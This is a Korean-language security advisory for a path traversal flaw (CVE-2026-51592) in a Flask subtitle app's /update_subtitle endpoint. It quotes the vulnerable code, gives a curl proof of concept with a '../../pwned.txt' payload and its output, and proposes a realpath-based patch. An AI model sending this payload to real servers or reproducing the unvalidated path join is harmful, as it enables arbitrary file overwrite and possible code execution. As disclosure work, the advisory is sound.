
TahaBakhtari/SubtitleGenerator의 경로 탐색 취약점 - CVE-2026-51592
TahaBakhtari/SubtitleGenerator의
/update_subtitle 엔드포인트에 경로 탐색(path traversal) 취약점이 존재합니다.
이 엔드포인트는 인증되지 않은 클라이언트로부터 file_name 매개변수를 받아
경로 탐색 시퀀스를 검증하지 않은 채 os.path.join()을 사용하여 고정된
기본 디렉터리와 결합합니다. 그 결과, 원격의 인증되지 않은 공격자는
실행 중인 프로세스의 권한 범위 내에서 의도된 data/subtitles/ 디렉터리
밖의 임의 파일에 쓸 수 있습니다.
2e2553a(테스트 시점의 최신)app.py, update_subtitle 함수(225–238행)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
file_name 매개변수는 아무런 검증 없이 파일 경로를 구성하는 데 사용됩니다.
공격자는 ../../pwned.txt와 같은 값을 제공하여 data/subtitles/
디렉터리를 벗어나 프로세스가 쓰기 권한을 가진 임의의 위치에
파일을 쓸 수 있습니다.
기본적으로 애플리케이션은 0.0.0.0:5000에 바인딩되므로(app.py 참조),
네트워크를 통해 접근 가능하며 localhost로 제한되지 않습니다.
CWE-22: 제한된 디렉터리에 대한 경로명의 부적절한 제한('경로 탐색')
Flask 프로세스 권한 범위 내에서의 임의 파일 쓰기
기존 구성 또는 애플리케이션 파일 덮어쓰기
애플리케이션 소스 파일(예: app.py) 덮어쓰기 가능성,
다음 재시작 시 코드 실행으로 이어질 수 있음
중요 파일 손상을 통한 서비스 거부(Denial of Service)
공격 벡터: 원격
인증 필요: 아니요
사용자 상호 작용 필요: 아니요
심각도(예비): 높음
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
응답:
{"status": "success", "message": "..."}
서버에서 검증:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
pwned.txt 파일은 의도된 data/subtitles/ 디렉터리보다 두 단계 위인
프로젝트 루트 디렉터리에 기록되어 경로 탐색을 확인합니다.
이 개념 증명의 실행 가능한 버전은 poc.sh를 참조하십시오.
파일을 열기 전에 os.path.realpath()를 사용하여 정규화된 경로가
data/subtitles/ 내에 유지되는지 검증합니다:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
이렇게 하면 결과 경로가 항상 data/subtitles/ 내부로 정규화되어
../../와 같은 탐색 시퀀스를 효과적으로 차단합니다.
전체 패치는 patch.diff에서 확인할 수 있습니다. 이 수정 사항은 로컬
테스트 인스턴스에서 구현 및 검증되었습니다. 위 PoC에서 사용한 것과
동일한 페이로드는 이제 파일을 쓰는 대신 "invalid filename" 오류를 반환합니다.
Arda Kuruoglu가 발견하고 보고했습니다.
이 취약점은 메인테이너에게 최초 보고한 날짜부터 시작되는 90일의 책임 있는 공개(Responsible Disclosure) 일정에 따라 공개되었습니다.
README.md — 이 문서poc.sh — 취약점을 입증하는 개념 증명 스크립트patch.diff — 로컬 테스트 인스턴스에서 검증된 제안 패치이 문서와 첨부 파일은 MIT 라이선스에 따라 공개됩니다.